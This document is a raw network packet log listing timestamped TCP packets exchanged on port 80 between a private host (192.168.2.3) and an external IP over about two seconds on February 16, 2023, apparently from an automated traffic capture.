Feb 16, 2023 11:49:12.753451109 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753487110 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753488064 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.753511906 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753532887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753544092 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.753552914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753572941 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753591061 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753611088 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753611088 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.753634930 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753635883 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.753664017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753671885 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.753693104 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753716946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753736973 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753745079 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.753758907 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753777981 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753777981 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.753798962 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753810883 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.753818989 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753839016 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.753856897 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.753953934 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.754630089 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.754661083 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.754681110 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.754724026 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.754743099 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.754761934 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.754781008 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.754787922 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.754831076 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.758522987 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758563995 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758583069 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758603096 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758621931 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758640051 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758649111 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.758660078 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758682013 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758686066 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.758719921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758727074 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.758747101 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758775949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758786917 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.758800030 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758826017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758831978 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.758848906 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758868933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758887053 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758907080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758927107 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758945942 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758955956 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.758955956 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.758955956 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.758966923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.758985996 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.758996010 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759025097 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759047985 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759066105 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759084940 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759088039 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759105921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759124041 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759125948 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759145975 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759151936 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759174109 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759183884 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759202003 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759223938 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759231091 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759251118 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759268999 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759287119 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759299994 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759313107 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759329081 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759332895 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759361029 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759388924 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759402037 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759416103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759434938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759454012 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759466887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759480953 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759489059 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759504080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759529114 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759530067 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759558916 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759588957 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759603977 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759610891 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759619951 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759630919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759650946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759669065 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759689093 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759691000 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759701967 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759720087 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759736061 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759748936 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759774923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759795904 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759813070 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759830952 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759850025 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759852886 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759876966 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759886980 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759886980 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.759906054 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759932041 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759951115 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.759968996 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760023117 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760023117 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760023117 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760267973 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760289907 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760308027 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760325909 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760351896 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760375977 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760380983 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760397911 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760409117 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760428905 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760448933 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760468006 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760488987 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760499954 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760499954 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760514975 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760518074 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760543108 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760571003 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760590076 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760598898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760627985 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760657072 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760659933 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760683060 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760701895 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760714054 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760736942 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760740042 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760766983 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760791063 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760793924 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760813951 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760832071 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760839939 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760852098 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760870934 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760890961 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760901928 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760916948 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760934114 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.760946989 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760974884 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.760994911 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761013985 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761020899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761020899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761034012 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761054039 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761060953 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761080980 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761112928 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761147976 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761171103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761189938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761209965 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761248112 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761253119 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761276960 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761293888 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761300087 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761368036 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761485100 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761517048 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761543036 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761563063 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761583090 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761586905 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761604071 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761624098 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761643887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761645079 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761665106 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761679888 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761686087 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761706114 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761708021 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761729002 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761729956 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761748075 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761768103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761786938 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761806011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761823893 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761832952 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761832952 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761843920 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761847973 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761864901 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761883020 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761898994 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761902094 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761921883 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761929989 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761941910 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761960983 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.761964083 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.761981964 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762001038 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762011051 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762018919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762038946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762043953 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762059927 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762079000 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762083054 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762099028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762119055 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762136936 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762144089 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762159109 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762176991 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762177944 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762195110 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762197018 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762217045 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762234926 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762254000 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762254953 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762274981 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762295008 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762304068 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762314081 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762334108 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762342930 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762352943 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762372017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762389898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762415886 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762435913 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762439013 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762435913 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762465000 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762471914 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762495995 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762499094 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762518883 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762537956 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762546062 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762558937 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762578011 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762595892 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762613058 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762617111 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762631893 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762634993 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762656927 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762664080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762707949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762729883 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762751102 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762758017 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762773037 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762794971 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762804031 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762818098 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.762820959 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.762872934 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.765315056 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.765343904 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.765363932 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.765388966 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.765415907 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.765441895 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.765441895 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.765492916 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.765541077 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:13.305795908 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:13.306015015 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.233612061 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.234445095 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.488864899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.651366949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651469946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651516914 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651540041 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651566029 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651587963 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651609898 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651633024 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651655912 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651669979 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.651679993 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651704073 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651727915 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.651729107 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651752949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651758909 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.651777029 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651782990 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.651801109 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651823044 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651846886 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.651854992 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651879072 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651882887 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.651901007 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651921988 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.651923895 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651946068 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651968002 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.651979923 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.651989937 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652010918 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:14.652014017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652036905 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652059078 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652086020 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:14.652086020 CET	49700	80	192.168.2.3	23.106.124.133
